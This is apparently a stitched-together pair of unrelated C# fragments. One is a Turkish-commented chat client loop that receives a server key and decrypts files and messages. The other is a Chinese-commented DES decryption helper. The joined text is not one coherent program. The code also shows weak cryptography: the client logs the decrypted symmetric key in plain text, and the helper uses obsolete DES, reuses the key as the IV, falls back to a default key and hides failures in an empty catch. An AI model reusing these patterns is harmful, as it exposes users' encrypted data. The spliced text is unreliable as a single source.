void ServeriDinle() { while (true) { string serverdanGelenMesaj = serverReader.ReadLine(); // Okunan deger if (cbChoose.SelectedIndex == 1) { if (!isSecretKey) { isSecretKey = true; label3.Text = Crypto1.DecryptSecretKey(serverdanGelenMesaj); simetricKey = label3.Text; lstMesajlarClient.Items.Add("SecretKey başarılı şekilde alındı."); LogWriter("SecretKey başarılı şekilde alındı."); } else { Crypto1 crypto1 = new Crypto1(); MessageBox.Show("Desifrelenecek verinin çozulecegi yolu seciniz."); UnicodeEncoding ue = new UnicodeEncoding(); Byte[] buffer = Convert.FromBase64String(serverdanGelenMesaj); byte[] plainText = crypto1.DecryptToByteArray(buffer, simetricKey); //File.WriteAllBytes(@"C:\Users\Hknaksoyy\Desktop\cipherText.jpg", plainText); //linkFilePath_LinkClicked(true); File.WriteAllBytes(dataPath, plainText); lstMesajlarClient.Items.Add("Desifreleme islemi tamamlandi"); LogWriter("Desifreleme islemi tamamlandi"); } } else if (cbChoose.SelectedIndex == 2) { if (!isSecretKey) { isSecretKey = true; label3.Text = Crypto2.DecryptSecretKey(serverdanGelenMesaj); simetricKey = label3.Text; LogWriter("Serverdan Gelen Mesaj: " + serverdanGelenMesaj); LogWriter("Cozumlenmis Simetrik Sifre: " + simetricKey); lstMesajlarClient.Items.Add("SecretKey başarılı şekilde alındı."); LogWriter("SecretKey başarılı şekilde alındı."); } else { Crypto2 crypto2 = new Crypto2(); string decryptoHash = serverdanGelenMesaj.Substring((serverdanGelenMesaj.Length - 64), 64); string data = serverdanGelenMesaj.Substring(0, (serverdanGelenMesaj.Length - 64)); if (decryptoHash == ComputeSha256Hash(data)) { lstMesajlarClient.Items.Add("Server: " + crypto2.DecryptKey(data, simetricKey)); label3.Text = serverdanGelenMesaj; LogWriter(serverdanGelenMesaj); } } } else if (cbChoose.SelectedIndex == 3) { Crypto3 crypto3 = new Crypto3(); lstMesajlarClient.Items.Add("Server: " + crypto3.Decrypto(serverdanGelenMesaj)); label3.Text = serverdanGelenMesaj; LogWriter(serverdanGelenMesaj); } else { lstMesajlarClient.Items.Add("Server: " + serverdanGelenMesaj); LogWriter("Server: " + serverdanGelenMesaj); } } }
/// <summary> /// 对加密密文进行解密 /// </summary> /// <param name="encryptText">待解密的密文</param> /// <param name="key">密钥</param> /// <returns>明文字符串</returns> public static string DecryptStringReverse(string encryptText, string key) { string result = ""; if (string.IsNullOrEmpty(encryptText)) { return(result); } try { //如无,取默认值 string keyStr = string.IsNullOrEmpty(key) ? VariableName.DefaultEncryptKey : key; //密文 byte[] encData = System.Convert.FromBase64String(encryptText); //将密文写入内存 MemoryStream sin = new MemoryStream(encData); MemoryStream sout = new MemoryStream(); DES des = new DESCryptoServiceProvider(); //得到密钥 string sTemp; if (des.LegalKeySizes.Length > 0) { int lessSize = 0, moreSize = des.LegalKeySizes[0].MinSize; while (keyStr.Length * 8 > moreSize && des.LegalKeySizes[0].SkipSize > 0 && moreSize < des.LegalKeySizes[0].MaxSize) { lessSize = moreSize; moreSize += des.LegalKeySizes[0].SkipSize; } if (keyStr.Length * 8 > moreSize) { sTemp = keyStr.Substring(0, (moreSize / 8)); } else { sTemp = keyStr.PadRight(moreSize / 8, ' '); } } else { sTemp = keyStr; } //设置密钥 des.Key = ASCIIEncoding.ASCII.GetBytes(sTemp); //设置初始化向量 if (keyStr.Length > des.IV.Length) { des.IV = ASCIIEncoding.ASCII.GetBytes(keyStr.Substring(0, des.IV.Length)); } else { des.IV = ASCIIEncoding.ASCII.GetBytes(keyStr.PadRight(des.IV.Length, ' ')); } //解密流 CryptoStream decStream = new CryptoStream(sin, des.CreateDecryptor(), CryptoStreamMode.Read); //密文流的长度 long lLen = sin.Length; //已经读取长度 int nReadTotal = 0; //读入块 byte[] buf = new byte[8]; int nRead; //从密文流读到解密流中 while (nReadTotal < lLen) { nRead = decStream.Read(buf, 0, buf.Length); if (0 == nRead) { break; } sout.Write(buf, 0, nRead); nReadTotal += nRead; } decStream.Close(); //明文 //ASCIIEncoding ascEnc = new ASCIIEncoding(); UnicodeEncoding ascEnc = new UnicodeEncoding(); result = ascEnc.GetString(sout.ToArray()); } catch { } return(result); }